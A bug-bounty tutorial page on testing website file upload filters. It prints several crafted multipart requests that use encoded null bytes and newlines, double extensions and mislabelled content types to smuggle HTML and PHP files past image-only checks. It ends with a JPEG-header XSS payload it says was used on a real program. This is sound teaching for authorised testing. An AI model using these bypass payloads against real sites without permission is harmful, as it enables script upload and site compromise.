Resources

A list of useful websites, blog posts, reports tools to help you.

Learning to test file uploads


Almost every website offers the ability for a user to upload a file, usually an an image for their profile photo or when sharing content. There is a 99% chance the developer has created a filter as to what files to allow and what to block, for example they won't want you uploading .html files for your profile photo!

In this article we will explore how we can determine what filters may be in place, and get an idea into how the developers are determining what file type we are uploading.

When testing file uploads you may find your file is uploaded to a third party domain, such as .amazonaws.com or even .cloudfront.net. This means the file has been stored on an external cloud service and thus the malicious file would not affect your target domain. However sometimes companies will add DNS records to subdomains pointing to their cloud service (usually S3 bucket). For example, media.example.com may be used to render images from their S3 bucket.

How do they determine what the file is?

Imagine when editing your profile they may say only photos are allowed, but how are they actually validating it's a photo? It could be via .extension or even mime type. As well as this, are all photos saved in the same format regardless of the photo type we uploaded? For example if you uploaded a .png file, do they simply not care and will save as .jpg regardless? Let's explore some common things we can test in order to test their file uploads.

For the text below, imagine the feature you are testing only allows for .png and .jpg

  • Testing file extension - Simple, I first test for .txt to check how strict the filter actually is. A .txt file is harmless and may not be filtered and may help me determine how they handle file uploads and they may be filtering based on malicious extensions, rather than valid extensions. If the .txt file is successful, then I know the file extension is trusted server side. So let's try cause some impact.

    If then trying to upload .html, .php, .xml in order to increase impact you notice the extension is filtered due to being malicious, then we can try URL encoding characters such as Null bytes, %00, New lines, %0d%0a and tabs, %09 %07 in order to bypass filters. For example:

Example file upload requests

------WebKitFormBoundaryAxbOlwnrQnLjU1j9
Content-Disposition: form-data; name="imageupload"; filename="zseano.jpg"
Content-Type: text/html

<html><h2>codehere</h2>

Sometimes providing NO file extension (or even filename) will cause it to default to the content-type or file extension.


------WebKitFormBoundaryAxbOlwnrQnLjU1j9
Content-Disposition: form-data; name="imageupload"; filename="zseano."
Content-Type: text/html

<html><h2>codehere</h2>

------WebKitFormBoundaryAxbOlwnrQnLjU1j9
Content-Disposition: form-data; name="imageupload"; filename=".html"
Content-Type: image/png

<html>HTML code!</html>
------WebKitFormBoundaryAxbOlwnrQnLjU1j9
Content-Disposition: form-data; name="imageupload"; filename="zseano.jpg#/?&=+\.html"
Content-Type: image/jpeg

<html><h2>codehere</h2>

------WebKitFormBoundaryAxbOlwnrQnLjU1j9
Content-Disposition: form-data; name="imageupload"; filename="zseano.jpg%0d%0a.php"
Content-Type: application/php

<?php echo "oops!"; ?>

------WebKitFormBoundaryAxbOlwnrQnLjU1j9
Content-Disposition: form-data; name="imageupload"; filename="zseano.jpg%u0025%u0030%u0039.php"
Content-Type: application/php

<?php echo "oops!"; ?>

Sometimes if you leave the image header this is enough to bypass the checks. Below is a real payload used on a bug bounty program.

------WebKitFormBoundaryoMZOWnpiPkiDc0yV
Content-Disposition: form-data; name="oauth_application[logo_image_file]"; filename="testing1.jpg"
Content-Type: text/html

ÿØÿà
<script>alert(0)</script>